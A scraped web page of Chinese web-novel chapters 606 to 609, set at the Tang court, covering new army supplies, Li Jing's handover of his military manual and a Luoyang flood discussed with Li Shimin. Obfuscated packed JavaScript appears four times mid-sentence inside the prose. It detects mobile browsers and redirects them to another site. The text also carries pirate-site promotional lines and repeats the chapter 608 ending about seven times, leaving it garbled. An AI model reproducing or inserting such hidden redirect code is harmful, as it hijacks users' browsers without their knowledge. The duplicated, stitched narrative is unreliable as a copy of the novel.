“昂咋的了?”程咬金昂首挺胸道:“没想到吧?” “咱好大侄儿可是说了我家处亮亦有进士之姿啊考取功名自然不在话下。” 尉迟恭理都没理他猛地抓住陈衍的手“好大侄儿你可不能光顾着程老黑把俺给忘了啊!” “宝琳就算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175392|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俺家还有几个小崽子呢我觉得他们亦有进士之姿啊!” 陈衍早就预料到了这种情况爽快地点点头“行啊 “我会写信告诉处默的也会帮忙请好的先生。平日里让秦伯伯多管管别闹出人命就好。” “ .啊?” 程咬金和尉迟恭愣住了满脑子问号。 就读个书怎么还能扯上人命? 读书难道比打仗还危险? 秦琼干咳一声“那个.子安啊。” “我懂我懂!” 秦琼哪怕不说陈衍也知道他在想什么“我都告诉你们啦想尝试一下的直接送到渭南县折冲府就好了。” “教一个是教教两个同样是教没什么区别的。你们自己决定就好反正我只负责出方法。” “那就这样说定了!” 听到陈衍的回答三人顿时心里一喜什么人命不人命的瞬间被他们抛到九霄云外了。 再说了就在渭南县折冲府全都是熟人 “好了我看那边代国公似乎在等我您三位要庆祝一下就去吧我得去跟代国公聊聊了。” 陈衍眼睛一瞟发现了等在不远处的李靖当即开口。 三人也发现了没再继续说什么。 秦琼叮嘱了一句“朝堂上面万事小心不是所有人都是窦诞他这种蠢货百年都难得见到一次。” “我明白。”陈衍含笑应了声。 “你明白就好不过我让你小心只是让你平时注意点如果遇到事了也别怕一切还有我们在呢。” 秦琼似乎依然不太放心压低声音在他耳边说了一句。 陈衍心里一暖微笑着点点头。 朝堂中或许有众多纷争有太多的尔虞我诈但也有着许多真心关心他的人。 这就够了。 不是吗? “.” 第606章 传承 “代国公。” 跟程咬金三人分开之后,陈衍便迎上了李靖,对于这位,他还是蛮尊重的。 李靖盯了他两息,忽然叹息,“关于出兵一事,你估计了解得比我都多。” “我今日前来,倒也不是为了跟你确定军需物资,毕竟此事的具体细节,还有待商议,到底需要多少物资,更是需要仔细计算。” 陈衍摇摇头,“代国公,今时不同往日,很多事情,已经跟从前大不相同了。” “比如说您在贞观三年的时候,在冬季出兵**厥,那个时候的条件,武器什么都是正常的。” “可现在嘛.” “呵呵!”陈衍笑眯眯道,“为了让您有个心理准备,不如你先随我去看看?” 李靖一怔,倒也没拒绝,“行,既然你都这么说了,那咱们便走一趟。” “走吧,请代国公跟我走一趟户部。”陈衍做了个请的手势,两人边走边说:“大量的物资,户部肯定是没有的,如果您想看,那得走一趟太仓了,而且流程比较麻烦。” “不过户部倒是有一些用于展示的样品,可以给您看看。” 李靖轻轻颔首,没对这方面发表什么看法,转而说:“这次.应该是我人生中最后一场战役了,上次你拜托陛下送来的那个叫薛礼的人,真的很有天赋。” “这段时间以来,他都在跟着我学,只是.我恐怕不能继续教导他了,否则会影响到他。” 陈衍微微诧异,脚步放缓,“代国公这是何意?” 李靖平静道:“你是聪明人,不必跟我装傻,我的情况,你们这些人其实看得很明白。” “能继续领一次兵,我已经很满足了,没有什么遗憾了。” “这也得多谢你,如果不是因为你带来的种种改变,我或许连这次机会都没有。” 陈衍微叹,对于李靖的处境,他确实看得很明白,也没什么办法。 毕竟李靖确实太猛了。 也就是李世民,如果换作其他皇帝,李靖或许连寿终正寝的机会都没有。 二人一时无言,沉默间来到了户部。 陈衍带着他来到自己的尚书厅,推开屏风,露出了后面的诸多东西。 下到棉衣棉裤棉鞋,上到陌刀,以及新造的明光铠,甚至连**都有一颗。 “这是.? 李靖拿起一把陌刀掂量了一下,眼里有些惊讶。 “陌刀! 陈衍啧了声,“这东西的造价极高,一柄陌刀的造价甚至达到了几十贯。 “可这么高的价格,也造就了它无与伦比的杀伤力。一支精锐手持它,穿着新型的明光铠,足以成为骑兵不敢回忆的噩梦。 李靖默然,仔仔细细端详了一会儿陌刀的刀锋,又试着挥舞了一下,半晌无言。 “代国公啊,这一刀下去,人马俱碎不是一句玩笑话。陈衍可惜道,“只是.因为其造价无比之高,不可能给全军都配备这种武器! “就目前来说,只有陛下的玄甲军,以及秦伯伯在渭南县新培养的重骑兵会配备。 “当然,今年动兵,他们同样会随你出征! 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) 李靖想象了一下那种画面,嘴唇干涩地评价:“相当残忍的兵器! 说完,他又补充了一句,“但若是用来对付外敌,就再合适不过了。 陈衍指了指旁边的棉衣,“其实陌刀并不是重点,这些衣物才是。 其实在进来之后,李靖就已经注意到了这些棉衣,疑惑道:“我记得这不是你去年在渭南县贩卖的衣物吗? “当时的量很少,只有一小部分百姓买到了,嗯还有你身边亲近的人,都有这种衣物。 “去年是去年。陈衍失笑,“做这种棉衣,需要用到一种叫做棉花的材料,去年我并没有太多棉花,所以只流传出了很少一部分。 “不过,在贞观五年的时候,我得到了大量的土地。这些土地全部被我用来种棉花了,所以今年的棉衣很多。 “我会以户部的名义,去跟陈氏商会,以超过成本一点点的价格,给准备出征的将士们都配备上这 样的棉衣棉裤,避免将士们因为天气原因降低战斗能力。 听到这里,李靖终于淡定不了了,“你说的是真的?这样的棉衣棉裤,户部会给全军将士们全部配齐? “当然是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175393|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。陈衍扭头,笑道:“代国公不会以为我在跟你开玩笑吧? “这这.李靖一时都说不出来话了。 作为将领,他自然希望自己手下的兵能拥有更好的条件。 在冬天出兵,大唐固然占据一定优势,然而天气寒冷可不管你是大唐的兵还是敌国的兵。 该冷依旧冷。 李靖本以为陈衍准备好足够的粮草,不让将士们饿肚子就已经很好了。 没想到陈衍连将士们的衣服都准备得如此之好,这种棉衣棉裤,可是连宫里不少贵人都在穿的呀。 其保暖效果有多好,连他都有所耳闻。 李靖顿了顿,郑重对他抱拳行礼,“陈尚书,某代全军将士们谢谢你了! “不必如此。陈衍扶起了他,“我父亲、叔伯都是将领,我知道将士们在外面有多苦。 “对于打仗,我不了解,只能在其他方面多做一些,希望对你们能有所帮助。 “够了.足够了。 说全网首发无弹窗免费阅读caixs.com**(请来才小 说 看最新章节 完整章节)李靖打心眼里感激陈衍,激动过后,他又显得有些迟疑,“这会不会要耗费大量的财物,万一有官员又拿这个说劳民伤财怎么办? “这是户部的事,不是吗?陈衍摆摆手,“代国公,你只管打仗,其他的事交给我们。 “先不说现在有没有人敢说我,就算有,那又能如何? “我陈衍又不是没张嘴,自然会问候其祖宗十八代! “彼其娘的,老子想让我大唐将士们在外打仗的时候,穿暖一些,这难道还有错? 李靖愣了好一会儿,忽然笑了。 而后,他想起今天来找陈衍的目的,从怀中摸出了一本书,郑重地交给他。 “陈尚书,这里面汇聚了我一生的心血,以及我所有的经验、对历史上战争的见解,是我自己编撰的兵书,劳烦你将此书交给薛礼。 “今后的大唐便要靠你们下一代了。 陈衍望着面前被李靖双手捧过来的兵书,沉默两息,重重点头。 或许,在此刻。 它并不是一本普通的兵书,而是一种传承! “. 第607章 洛阳水灾 “你今日,怎么又这么快回来了?” 渭国公府中,高阳抱着女儿,斜睨着躺在椅子上的陈衍。 “今日不是中榜学子正式面圣吗?你们应该举办宴会,按照惯例,宴会之后还有很多事才对。” 陈衍微微抬眼,“怎么?我回来你很不高兴?” “又怕我听见你喊女儿娘亲?” 高阳:“.” “咿呀~牙牙。” 小岁安被高阳抱着,本来安安分分的,可一看到自家老父亲,就伸着手开始挣扎起来。 高阳气不打一处来,将女儿放在陈衍肚子上,“去去去,跟你的死鬼老爹亲去吧,我看看你要多少天能饿死。” 陈衍抱着香香软软的女儿,喜笑颜开,“怎么会饿到我家小闺女呢?府里那么多下人,谁敢怠慢了我家小郡主呀?” “是不是呀,小岁安~” 小岁安睁着大大的眼睛望着自家爹爹,咯咯笑着,露出两颗小小的门牙,“爹~爹~” “哎呦,我的乖女儿。” 陈衍哈哈大笑,贴着女儿的脸好一阵稀罕。 这可给一旁的高阳看得眼睛都红了,一个劲念叨着没良心的小东西。 “阿兄,我要抱,我也要抱!” 这时,躲在暗处的兕子坐不住了,撒丫子跑过来求抱抱。 陈衍没好气地赏了她一个脑瓜崩,在后者捂着额头,哭唧唧的表情中,道:“还抱个屁,上次你把你阿娘气晕的事我还没找你算账呢。” “快上一边去吧,没揍你就算好的了。” 提起这件事,兕子顿时更委屈了,“可是.可是阿姐已经揍过我了,我都认错了,阿娘都原谅我了,你怎么还老是提起这件事呢?” “你阿姐阿娘是看你年纪小,童言无忌,所以才没太跟你计较。”陈衍哼哼道:“可我不一样,我知道你的心是黑的,以后你若是继续在外面传我的丑闻,我真揍你。” “知道了”兕子耷拉着脑袋,有气无力地应了声。 “不过嘛”陈衍干咳,“你别传我的丑闻就行,你两个阿姐的随便传。” 高阳闻言,眼睛一瞪,“老娘借她十个胆子!” “敢传我的丑闻?我揍不死她!” 兕子:“.” “嘿。”陈衍乐了,“小公主殿下,没事的,你尽管传,我保着你,她敢揍你,我就帮你揍她。” “那不是让她爽了吗?”兕子小声哔哔一句。 “你说什么?”高阳大怒。 这件事可是自己最大的秘密,只有陈衍和李丽质知道,这小家伙怎么知道的? 兕子看见高阳生气,脑袋缩了缩,然后理直气壮道:“你们就欺负我吧,等我长大了,你们拄拐杖了,你看我怎么欺负你们!” 说完,小家伙立马跟只小泥鳅一样,跑路了。 高阳气急败坏地追了上去,陈衍倒是愣了一下,随后哑然失笑,没在意这点小事,继续逗弄着女儿。 “少爷。” 这时,小顺子恭敬地走进来。 陈衍没太当回事,随口问,“什么事啊?” 小顺子低声道:“根据下面人传回来的消息,洛阳今年的雪非常之大,随着气候回暖,雪融化成水,而且那边现在接连大雨,洛阳周边不少地区已经出现了水灾,许多村落已经受到了很大的影响。” 陈衍逗弄女儿的手指一顿,沉吟片刻,微微侧过头,“我为何没在朝堂上听说过这些事?” 小顺子立即回道:“这个小的不知,小的只是按照您的吩咐,让渭南县行驶公交船的官吏在平日里,以及渡口等地方收集一些消息。” “最近两天,已经有从洛阳等地逃难而来的百姓了” “洛阳?”陈衍微微一顿,摇摇头,漫不经心道:“如果我没记错的话,洛阳位于黄河流域吧?” “是的,少爷。”小顺子回道:“洛阳不仅位于黄河流域,而且按照您所教导的地理知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175394|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识,它的盆地地势相对低洼,周边山区众多,而且更重要的是,洛河、伊河、瀍河、涧河等穿洛阳而过。” “洛阳, 还是大运河的中心如果发生洪灾后果恐怕颇为严重小的认为此事应该重视所以特地跟您禀报。” 陈衍头也不抬捏着女儿肉嘟嘟的脸轻声问:“还有什么消息吗?” “有的少爷。”小顺子想了想“从乘坐公交船的百姓口中得知洛阳的官府好像还没什么动作但有一个当地姓孟的商人正在大肆施粥从逃难而来的百姓口中得知当地人对这位富商颇为感激。” “另外洛阳的粮价正在飞速上涨而且有越涨越高的趋势逃难百姓说他们离开洛阳的时候一斗米的价格已经攀升至二十文。” “二十文?”陈衍扬了扬眉对这个价格有些心惊。 怎么说呢前世看史书的时候从贞观四年开始粮食的价格已经相当低了史书上甚至说一斗米三到五文钱。 可这只是长安等地区的粮价而且是丰收时候的价格。 实际价格其实要高一点的不过也未曾超过八文钱。 偏远落后的地区因为当地缺少粮食 洛阳离长安说远不远说近不近加上当地有一个大粮仓即便粮食价格超过长安但也绝不可能超出这么多。 陈衍沉思一会儿轻嗤“这一天天啊为什么就没个消停的时候呢?” “小顺子啊你说如果陛下知道了我先比他收到洛阳的消息他该怎么想?” 小顺子犹豫了一下说:“陛下应该会很生气吧毕竟听说洛阳的官府没什么举动反倒是富商开始施粥行善了。” “嗯!”陈衍不置可否“既然陛下很生气那你说会不会又要有人倒霉了?” 这次小顺子不敢回答了。 有些事他能回因为他属于陈衍的亲信可有些事情却也不是他能搭嘴的。 不能仰仗陈衍的信任就肆无忌惮。 做人做事分寸很重要。 “.” 第608章 陈衍:臣听不懂什么哭穷 “少爷,是否需要暂时改变一下钱庄的扩张策略? 小顺子转而询问:“我们可以先将钱庄扩张到洛阳等地区,先帮助百姓度过难关再说。 陈衍微微颔首,“通知许怜月吧,立刻调动钱庄物资,通过水路以最快的速度去洛阳等地区扩建钱庄。 “另外,通知王老五等四个富商,让他们尽快调动行船运送物资。还有现在立刻派人去找太史令李淳风,国师袁天罡,就说我跟陛下在甘露殿等他们过来。 小顺子急忙点头,正要出去时,想起了一件事,“对了,少爷,需要通知蔡国公他们一声吗? “不用。 陈衍抱着女儿起身,“明天他们自然会知晓的,今天最重要的是尽快做出安排。 “是,少爷。 小顺子离开,陈衍走出屋内,意外在门口遇到了李丽质,后者见他出来,忙解释道:“我不是有意偷听的,我只是恰好过来。 陈衍无语道:“我又没怪你偷听什么的算了,这个不重要,你照顾一下女儿,我需要进宫一趟了。 “好。李丽质轻轻点头,接过小岁安抱着,陈衍也不再耽误,出门乘坐马车以最快的速度赶往皇宫。 此时,李世民还在为科举大成功,出兵之事落定而感到高兴。 连政务都没怎么理会,打算把这些东西先交给太子处理。 反正太子爷不是有人了吗? 那么,多帮老父亲承担一些政务想必没什么问题吧? 李世民懒洋洋地靠着首位假寐,嘴角的胡子一翘一翘的,显然心情很不错。 只是,还没高兴多久。 陈衍便来了。 “子安啊你怎么又回来了?这个时间,你不在户部,也不回家,跑这里来干什么?李世民丝毫没意识到出了什么问题,抬了抬眼皮,不急不缓地说着。 陈衍直言道:“洛阳去年大雪,现在随着气候回暖,雨水骤降不停,已经有了水患,不少百姓的村庄都受到了波及。 “更何况洛阳 位于黄河地区,如果雨水不停,甚至可能跟贞观四年一样爆发洪灾,我哪里能跟您一样,还能坐得住啊?” 李世民一怔,懵了一会儿,随即猛地起身,声音抬高:“你说什么?” “洛阳起了水患?” 陈衍点头道:“是,而且洛阳已经有小部分百姓往这边逃难了。” 李世民:!!! “彼其娘的,怎么好端端的爆发水.嗯?”李世民急了一下,忽然反应过来,凝视着下面的陈衍,“洛阳起了水患,连朕都没收到消息,你是如何得知的?” 陈衍早就知道他会这么问,无奈道:“您别忘了,渭南县有公交船,以及那么大一个渡口,其中南来北往的人多了去了。” “逃难而来的百姓坐过船,聊起了这件事,我自然收到了消息。” 李世民顿了顿,背着手踱步一会儿,忽然笑了。 “这么说来,逃难的百姓都已经快到长安了.结果对于水患一事,朕竟然丝毫消息没收到?” 这个问题可不好答,陈衍自然而然地忽略了,提起另外一件事,“我已经通知许怜月他们走水路,以最快的速度去洛阳等地区扩建钱庄了。” “听逃难的百姓说,洛阳的粮价大涨,他们离开洛阳的时候,已经涨到了斗米二十文。” “现在最重要的是尽快做出安排,控制洛阳粮价,安抚百姓,观察情况,该修排水渠就修排水渠,免得水患变成洪灾,造成更大的影响。” “粮价上涨?”李世民眯了眯眼,“如果朕没记错的话,洛阳城内有含嘉仓,洛阳以东的巩义,还有一个洛口仓!” “我大唐的近乎半数粮食都在那里,你跟朕说洛阳的粮价大肆上涨?” “洛阳的官员呢?死绝了吗?” 陈衍默然,“关于此事,确实有蹊跷,发生这么大的事,洛阳的官员不可能不上报。” “或许是中间出了什么差错.” 李世民额头青筋鼓了一下,早上的好心情此刻荡然无存。 当然,他也知道,现在不是深究这些事的时 候,沉声问道:“你想用钱庄去赈灾?” 陈衍摇摇头,“钱庄是钱庄,朝堂可以借用它的钱粮来赈灾,却不能直接用钱庄的名义去赈灾。” “主次一定要分清楚,这个规矩绝对不能破。” “嗯”李世民闭了闭眼,“你的意思是什么?” “赈灾,彻查!”陈衍言简意赅。 “如何赈,如何查?” 李世民睁开眼,“还是说,你又想通过户部跟钱庄借取钱财?” “别忘了,你才刚借过,而朕今天才宣布过要动兵,如今发生这样的事,是否会影响到下半年出兵?” “户部自然是不行的!”陈衍摇摇头,“您方才就说了,户部才跟钱庄借过钱,如今再借,显然不合适。” “不过,我们可以转变一下思路嘛,赈灾,肯定是要用朝堂的名义,但不一定要用朝堂的人。” “我这边有三个办法。” 说着,陈衍干咳一声,“第一,记得我上次跟您说的吗?” “很多富商非常愿意花费大量钱财来获得一个名头,特别是在如今科举兴盛的时代。” “我们可以利用一下这些富商,跟贞观四年的时候用利益去诱惑官员差不多。” “第二,让洛阳的官府跟钱庄借贷赈灾,今后洛阳的官府慢慢还,钱庄在这方面给予优待嗯,如果您有看中的人,甚至可以直接派过去,混一笔功绩。” “第三嘛由户部直接出钱。” 李世民听到这里,瞪大了双眼,“麻蛋,除去打仗要用到的物资,你户部还能拿出赈灾的钱?” “既然有钱,你**上次跟我哭什么穷,还惦记我的内帑干什么?” 陈衍尴尬道:“上次我跟钱庄,其实借了不少钱,除了打仗所需的,还能有点剩余,拿出来赈灾应该是够了。” “至于您说的什么哭穷.臣听不懂,不明白您的意思。” 李世民:“.” “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 候沉声问道:“你想用钱庄去赈灾?” 陈衍摇摇头“钱庄是钱庄朝堂可以借用它的钱粮来赈灾却不能直接用钱庄的名义去赈灾。” “主次一定要分清楚这个规矩绝对不能破。” “嗯”李世民闭了闭眼“你的意思是什么?” “赈灾彻查!”陈衍言简意赅。 “如何赈如何查?” 李世民睁开眼“还是说 “别忘了你才刚借过而朕今天才宣布过要动兵如今发生这样的事是否会影响到下半年出兵?” “户部自然是不行的!”陈衍摇摇头“您方才就说了户部才跟钱庄借过钱如今再借显然不合适。” “不过我们可以转变一下思路嘛赈灾肯定是要用朝堂的名义但不一定要用朝堂的人。” “我这边有三个办法。” 说着陈衍干咳一声“第一记得我上次跟您说的吗?” “很多富商非常愿意花费大量钱财来获得一个名头特别是在如今科举兴盛的时代。” “我们可以利用一下这些富商跟贞观四年的时候用利益去诱惑官员差不多。” “第二让洛阳的官府跟钱庄借贷赈灾今后洛阳的官府慢慢还钱庄在这方面给予优待嗯如果您有看中的人甚至可以直接派过去混一笔功绩。” “第三嘛由户部直接出钱。” 李世民听到这里瞪大了双眼“麻蛋除去打仗要用到的物资你户部还能拿出赈灾的钱?” “既然有钱你**上次跟我哭什么穷还惦记我的内帑干什么?” 陈衍尴尬道:“上次我跟钱庄其实借了不少钱除了打仗所需的还能有点剩余拿出来赈灾应该是够了。” “至于您说的什么哭穷.臣听不懂不明白您的意思。” 李世民:“.” “.” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 候沉声问道:“你想用钱庄去赈灾?” 陈衍摇摇头“钱庄是钱庄朝堂可以借用它的钱粮来赈灾却不能直接用钱庄的名义去赈灾。” “主次一定要分清楚这个规矩绝对不能破。” “嗯”李世民闭了闭眼“你的意思是什么?” “赈灾彻查!”陈衍言简意赅。 “如何赈如何查?” 李世民睁开眼“还是说你又想通过户部跟钱庄借取钱财?” “别忘了你才刚借过而朕今天才宣布过要动兵如今发生这样的事是否会影响到下半年出兵?” “户部自然是不行的!”陈衍摇摇头“您方才就说了户部才跟钱庄借过钱如今再借显然不合适。” “不过我们可以转变一下思路嘛赈灾肯定是要用朝堂的名义但不一定要用朝堂的人。” “我这边有三个办法。” 说着陈衍干咳一声“第一记得我上次跟您说的吗?” “很多富商非常愿意花费大量钱财来获得一个名头特别是在如今科举兴盛的时代。” “我们可以利用一下这些富商跟贞观四年的时候用利益去诱惑官员差不多。” “第二让洛阳的官府跟钱庄借贷赈灾今后洛阳的官府慢慢还钱庄在这方面给予优待嗯如果您有看中的人 “第三嘛由户部直接出钱。” 李世民听到这里瞪大了双眼“麻蛋除去打仗要用到的物资你户部还能拿出赈灾的钱?” “既然有钱你**上次跟我哭什么穷还惦记我的内帑干什么?” 陈衍尴尬道:“上次我跟钱庄其实借了不少钱除了打仗所需的还能有点剩余拿出来赈灾应该是够了。” “至于您说的什么哭穷.臣听不懂不明白您的意思。” 李世民:“.” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 候,沉声问道:“你想用钱庄去赈灾? 陈衍摇摇头,“钱庄是钱庄,朝堂可以借用它的钱粮来赈灾,却不能直接用钱庄的名义去赈灾。 “主次一定要分清楚,这个规矩绝对不能破。 “嗯李世民闭了闭眼,“你的意思是什么? “赈灾,彻查!陈衍言简意赅。 “如何赈,如何查? 李世民睁开眼,“还是说,你又想通过户部跟钱庄借取钱财? “别忘了,你才刚借过,而朕今天才宣布过要动兵,如今发生这样的事,是否会影响到下半年出兵? “户部自然是不行的!陈衍摇摇头,“您方才就说了,户部才跟钱庄借过钱,如今再借,显然不合适。 “不过,我们可以转变一下思路嘛,赈灾,肯定是要用朝堂的名义,但不一定要用朝堂的人。 “我这边有三个办法。 说着,陈衍干咳一声,“第一,记得我上次跟您说的吗? “很多富商非常愿意花费大量钱财来获得一个名头,特别是在如今科举兴盛的时代。 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节) “我们可以利用一下这些富商,跟贞观四年的时候用利益去诱惑官员差不多。 “第二,让洛阳的官府跟钱庄借贷赈灾,今后洛阳的官府慢慢还,钱庄在这方面给予优待嗯,如果您有看中的人,甚至可以直接派过去,混一笔功绩。 “第三嘛由户部直接出钱。 李世民听到这里,瞪大了双眼,“麻蛋,除去打仗要用到的物资,你户部还能拿出赈灾的钱? “既然有钱,你**上次跟我哭什么穷,还惦记我的内帑干什么? 陈衍尴尬道:“上次我跟钱庄,其实借了不少钱,除了打仗所需的,还能有点剩余,拿出来赈灾应该是够了。 “至于您说的什么哭穷.臣听不懂,不明白您的意思。 李世民:“. “. 你身边有不少朋友还没看到本章呢,快去给他们剧透吧< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175395|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 候,沉声问道:“你想用钱庄去赈灾? 陈衍摇摇头,“钱庄是钱庄,朝堂可以借用它的钱粮来赈灾,却不能直接用钱庄的名义去赈灾。 “主次一定要分清楚,这个规矩绝对不能破。 “嗯李世民闭了闭眼,“你的意思是什么? “赈灾,彻查!陈衍言简意赅。 “如何赈,如何查? 李世民睁开眼,“还是说,你又想通过户部跟钱庄借取钱财? “别忘了,你才刚借过,而朕今天才宣布过要动兵,如今发生这样的事,是否会影响到下半年出兵? “户部自然是不行的!陈衍摇摇头,“您方才就说了,户部才跟钱庄借过钱,如今再借,显然不合适。 “不过,我们可以转变一下思路嘛,赈灾,肯定是要用朝堂的名义,但不一定要用朝堂的人。 “我这边有三个办法。 说着,陈衍干咳一声,“第一,记得我上次跟您说的吗? “很多富商非常愿意花费大量钱财来获得一个名头,特别是在如今科举兴盛的时代。 “我们可以利用一下这些富商,跟贞观四年的时候用利益去诱惑官员差不多。 “第二,让洛阳的官府跟钱庄借贷赈灾,今后洛阳的官府慢慢还,钱庄在这方面给予优待嗯,如果您有看中的人,甚至可以直接派过去,混一笔功绩。 “第三嘛由户部直接出钱。 李世民听到这里,瞪大了双眼,“麻蛋,除去打仗要用到的物资,你户部还能拿出赈灾的钱? “既然有钱,你**上次跟我哭什么穷,还惦记我的内帑干什么? 陈衍尴尬道:“上次我跟钱庄,其实借了不少钱,除了打仗所需的,还能有点剩余,拿出来赈灾应该是够了。 “至于您说的什么哭穷.臣听不懂,不明白您的意思。 李世民:“. “. 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 候,沉声问道:“你想用钱庄去赈灾? 陈衍摇摇头,“钱庄是钱庄,朝堂可以借用它的钱粮来赈灾,却不能直接用钱庄的名义去赈灾。 “主次一定要分清楚,这个规矩绝对不能破。 “嗯李世民闭了闭眼,“你的意思是什么? “赈灾,彻查!陈衍言简意赅。 “如何赈,如何查? 李世民睁开眼,“还是说,你又想通过户部跟钱庄借取钱财? “别忘了,你才刚借过,而朕今天才宣布过要动兵,如今发生这样的事,是否会影响到下半年出兵? “户部自然是不行的!陈衍摇摇头,“您方才就说了,户部才跟钱庄借过钱,如今再借,显然不合适。 “不过,我们可以转变一下思路嘛,赈灾,肯定是要用朝堂的名义,但不一定要用朝堂的人。 “我这边有三个办法。 说着,陈衍干咳一声,“第一,记得我上次跟您说的吗? “很多富商非常愿意花费大量钱财来获得一个名头,特别是在如今科举兴盛的时代。 “我们可以利用一下这些富商,跟贞观四年的时候用利益去诱惑官员差不多。 “第二,让洛阳的官府跟钱庄借贷赈灾,今后洛阳的官府慢慢还,钱庄在这方面给予优待嗯,如果您有看中的人,甚至可以直接派过去,混一笔功绩。 “第三嘛由户部直接出钱。 李世民听到这里,瞪大了双眼,“麻蛋,除去打仗要用到的物资,你户部还能拿出赈灾的钱? “既然有钱,你**上次跟我哭什么穷,还惦记我的内帑干什么? 陈衍尴尬道:“上次我跟钱庄,其实借了不少钱,除了打仗所需的,还能有点剩余,拿出来赈灾应该是够了。 “至于您说的什么哭穷.臣听不懂,不明白您的意思。 李世民:“. “. 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 候,沉声问道:“你想用钱庄去赈灾?” 陈衍摇摇头,“钱庄是钱庄,朝堂可以借用它的钱粮来赈灾,却不能直接用钱庄的名义去赈灾。” “主次一定要分清楚,这个规矩绝对不能破。” “嗯”李世民闭了闭眼,“你的意思是什么?” “赈灾,彻查!”陈衍言简意赅。 “如何赈,如何查?” 李世民睁开眼,“还是说,你又想通过户部跟钱庄借取钱财?” “别忘了,你才刚借过,而朕今天才宣布过要动兵,如今发生这样的事,是否会影响到下半年出兵?” “户部自然是不行的!”陈衍摇摇头,“您方才就说了,户部才跟钱庄借过钱,如今再借,显然不合适。” “不过,我们可以转变一下思路嘛,赈灾,肯定是要用朝堂的名义,但不一定要用朝堂的人。” “我这边有三个办法。” 说着,陈衍干咳一声,“第一,记得我上次跟您说的吗?” “很多富商非常愿意花费大量钱财来获得一个名头,特别是在如今科举兴盛的时代。” “我们可以利用一下这些富商,跟贞观四年的时候用利益去诱惑官员差不多。” “第二,让洛阳的官府跟钱庄借贷赈灾,今后洛阳的官府慢慢还,钱庄在这方面给予优待嗯,如果您有看中的人,甚至可以直接派过去,混一笔功绩。” “第三嘛由户部直接出钱。” 李世民听到这里,瞪大了双眼,“麻蛋,除去打仗要用到的物资,你户部还能拿出赈灾的钱?” “既然有钱,你**上次跟我哭什么穷,还惦记我的内帑干什么?” 陈衍尴尬道:“上次我跟钱庄,其实借了不少钱,除了打仗所需的,还能有点剩余,拿出来赈灾应该是够了。” “至于您说的什么哭穷.臣听不懂,不明白您的意思。” 李世民:“.” “.” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第609章 李世民:取朕刀来! “你!” “陈子安!” 李世民气得直哆嗦,指着陈衍道:“朕让你来当这个户部尚书,是希望你来帮朕分忧的,而不是让你来天天惦记朕的内帑!” “那是朕的钱,跟你无关!” “更何况,你自己不都说了,内帑属于内帑,是朕自己的小金库,不能用于国家大事吗?” 陈衍无辜道:“陛下误会了,我没说让您从内帑出钱赈灾啊,我的意思是户部出钱。” 李世民怒道:“你别在这里跟朕装傻,你知道朕说的不是这件事!” “可是陛下.现在的当务之急,是先处理洛阳水患啊,我们在这里多耽误一会儿功夫,洛阳便可能多一位百姓失去自己的家。”陈衍笑吟吟道: “陛下,臣认为,咱们还是别关注其他事了,以后再说吧。” 李世民:“.” 他被气笑了,“你不是已经安排人,带着大量物资前去洛阳了吗?” “尽管是钱庄,但朕只需要派一人过去,跟钱庄签订借款契约,你户部再拿出一部分赈灾款,此事就解决了。” “水患只是水患,又不是洪灾!” “可它有可能变成洪灾,不是吗?陛下?”陈衍丝毫不慌,一本正经道:“毕竟,洛阳因位置特殊,如果不及时处理,水患变成洪灾的可能性并不小。” “臣斗胆,请陛下关注洛阳,关注洛阳的百姓!” 李世民:“.” 